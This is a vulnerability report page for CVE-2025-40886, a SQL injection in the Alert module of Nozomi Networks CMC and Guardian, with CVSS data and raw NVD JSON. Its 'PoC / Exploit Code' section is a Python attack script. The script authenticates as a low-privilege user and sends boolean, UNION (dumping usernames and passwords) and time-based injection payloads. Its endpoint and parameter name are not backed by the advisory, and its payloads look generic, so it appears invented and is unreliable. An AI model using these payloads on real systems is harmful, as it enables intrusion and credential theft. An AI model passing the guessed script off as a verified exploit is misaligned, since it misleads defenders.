Security Vulnerability Report
中文
CVE-2025-40886 CVSS 7.5 HIGH

CVE-2025-40886

Published: 2025-10-07 13:15:35
Last Modified: 2025-10-09 16:38:22

Description

A SQL Injection vulnerability was discovered in the Alert functionality due to improper validation of an input parameter. An authenticated user with limited privileges can execute arbitrary SQL statements on the DBMS used by the web application, potentially exposing unauthorized data, altering their structure and content, and/or affecting their availability.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:* - VULNERABLE
Nozomi Networks 相关产品 Alert功能模块(具体受影响版本需参考官方安全公告NN-2025:7-01)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-40886 PoC - SQL Injection in Alert Functionality # Target: Nozomi Networks Product - Alert Module # Vulnerability: Improper input validation leading to SQL Injection import requests TARGET_URL = "https://target-nozomi-product.example.com" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } session.post(f"{TARGET_URL}/api/login", data=login_payload) # Step 2: Exploit SQL Injection in Alert functionality # The 'alert_filter' parameter is vulnerable to SQL injection # Example 1: Boolean-based blind SQL injection to extract data vulnerable_endpoint = f"{TARGET_URL}/api/alerts" # Payload to test for SQL injection sqli_payload = "' OR '1'='1' --" params = { "alert_filter": sqli_payload } response = session.get(vulnerable_endpoint, params=params) print(f"[*] Response status: {response.status_code}") print(f"[*] Response body: {response.text[:500]}") # Example 2: UNION-based SQL injection to extract database contents union_payload = "' UNION SELECT username, password FROM users--" params_union = { "alert_filter": union_payload } response_union = session.get(vulnerable_endpoint, params=params_union) print(f"[*] UNION injection response: {response_union.text[:500]}") # Example 3: Time-based blind SQL injection import time time_payload = "'; IF (1=1) WAITFOR DELAY '0:0:5'--" params_time = { "alert_filter": time_payload } start_time = time.time() response_time = session.get(vulnerable_endpoint, params=params_time) elapsed = time.time() - start_time print(f"[*] Time-based injection elapsed: {elapsed:.2f}s (expect >5s if vulnerable)")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-40886", "sourceIdentifier": "[email protected]", "published": "2025-10-07T13:15:34.580", "lastModified": "2025-10-09T16:38:21.743", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL Injection vulnerability was discovered in the Alert functionality due to improper validation of an input parameter. An authenticated user with limited privileges can execute arbitrary SQL statements on the DBMS used by the web application, potentially exposing unauthorized data, altering their structure and content, and/or affecting their availability."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.2.0", "matchCriteriaId": "6EE8E12E-EBAC-4B34-9D31-F68195E1F5CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.2.0", "matchCriteriaId": "81AC5154-CA70-4917-8B33-D7AD5B57C683"}]}]}], "references": [{"url": "https://security.nozominetworks.com/NN-2025:7-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}